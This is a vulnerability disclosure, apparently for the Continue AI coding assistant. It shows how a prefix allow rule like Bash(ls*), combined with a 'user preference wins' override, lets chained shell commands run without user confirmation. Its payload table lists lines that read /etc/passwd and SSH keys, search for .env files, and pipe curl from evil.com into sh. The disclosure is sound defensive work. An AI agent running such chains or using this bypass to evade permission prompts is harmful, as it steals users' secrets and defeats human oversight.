Summary
When a user configures an allow rule like Bash(ls*) for the terminal tool, the permission checker converts the pattern to regex ^ls.*$ and tests it against the entire command string — including chained commands after ;, &&, or |. Additionally, checkToolPermission implements a "user preference wins" policy: if the static rule says allow, the dynamic security evaluator's ask recommendation is overridden.
Combined effect: approving ls -la permanently auto-approves any command starting with ls — including ls; cat /etc/passwd, ls && find /home -name .env, or ls; curl http://evil.com | sh.
Root cause
-
Static pattern matching (permissionChecker.ts:42-57): Bash(ls*) → regex ^ls.*$ tested against the FULL command string, not just the first command.
-
Dynamic evaluator override (permissionChecker.ts:161-174): checkToolPermission implements "user preference wins" — if the static rule says allow, the dynamic security evaluator's ask is discarded:
if (evaluatedPolicy === "disabled") { return "exclude"; }
return { permission: basePermission }; // static allow overrides evaluator "ask"
-
No compound-command splitting (tool/bash.ts): unlike Zed (which parses sub-commands via brush-parser) or AutoGPT (which splits on ;/&&), Continue passes the raw command string to the permission checker without parsing it into individual sub-commands.
Reproduction (fully offline)
import { evaluateTerminalCommandSecurity } from "packages/terminal-security/src/evaluateTerminalCommandSecurity.ts";
// User config: Bash(ls*) -> allow
// The static rule matches the ENTIRE command:
const matches = new RegExp("^ls.*$").test("ls; cat /etc/passwd"); // true
// Dynamic evaluator says "ask":
const dynamic = evaluateTerminalCommandSecurity("allowedWithPermission", "ls; cat /etc/passwd");
// -> "allowedWithPermission"
// But "user preference wins" overrides:
// -> final permission = "allow" -> executes without prompting
Tested payloads (all with base policy Bash(ls*) -> allow):
| command |
static match |
dynamic evaluator |
final |
effect |
ls |
✅ allow |
— |
AUTO-EXEC |
✓ safe |
ls; cat /etc/passwd |
✅ allow |
ask |
AUTO-EXEC |
🚨 reads /etc/passwd |
ls && find /home -name .env |
✅ allow |
ask |
AUTO-EXEC |
🚨 credential discovery |
ls; cat ~/.ssh/id_rsa |
✅ allow |
ask |
AUTO-EXEC |
🚨 SSH key theft |
ls; curl http://evil.com | sh |
✅ allow |
ask |
AUTO-EXEC |
🚨 RCE |
ls; python3 -c 'import os; os.system("…")' |
✅ allow |
ask |
AUTO-EXEC |
🚨 RCE |
Impact
Once a user approves a benign prefix command (e.g., ls -la), any subsequent prompt-injected command starting with that prefix — including chained destructive or exfiltration commands — executes silently without any user interaction. The confirmation dialog the user trusts is effectively disabled for that prefix.
Suggested fix
- Split compound commands on
;, &&, || before pattern matching (as Continue's own evaluateTerminalCommandSecurity already does for its dynamic evaluator)
- Match each sub-command independently against the static rules
- If any sub-command fails to match the allow rule, require explicit approval for the full command
Credit
Chengzhi Yi — yimou@hust.edu.cn — GitHub: @Tardfyou
Summary
When a user configures an allow rule like
Bash(ls*)for the terminal tool, the permission checker converts the pattern to regex^ls.*$and tests it against the entire command string — including chained commands after;,&&, or|. Additionally,checkToolPermissionimplements a "user preference wins" policy: if the static rule saysallow, the dynamic security evaluator'saskrecommendation is overridden.Combined effect: approving
ls -lapermanently auto-approves any command starting withls— includingls; cat /etc/passwd,ls && find /home -name .env, orls; curl http://evil.com | sh.Root cause
Static pattern matching (
permissionChecker.ts:42-57):Bash(ls*)→ regex^ls.*$tested against the FULL command string, not just the first command.Dynamic evaluator override (
permissionChecker.ts:161-174):checkToolPermissionimplements "user preference wins" — if the static rule saysallow, the dynamic security evaluator'saskis discarded:No compound-command splitting (
tool/bash.ts): unlike Zed (which parses sub-commands via brush-parser) or AutoGPT (which splits on;/&&), Continue passes the raw command string to the permission checker without parsing it into individual sub-commands.Reproduction (fully offline)
Tested payloads (all with base policy
Bash(ls*) -> allow):lsls; cat /etc/passwdls && find /home -name .envls; cat ~/.ssh/id_rsals; curl http://evil.com | shls; python3 -c 'import os; os.system("…")'Impact
Once a user approves a benign prefix command (e.g.,
ls -la), any subsequent prompt-injected command starting with that prefix — including chained destructive or exfiltration commands — executes silently without any user interaction. The confirmation dialog the user trusts is effectively disabled for that prefix.Suggested fix
;,&&,||before pattern matching (as Continue's ownevaluateTerminalCommandSecurityalready does for its dynamic evaluator)Credit
Chengzhi Yi — yimou@hust.edu.cn — GitHub: @Tardfyou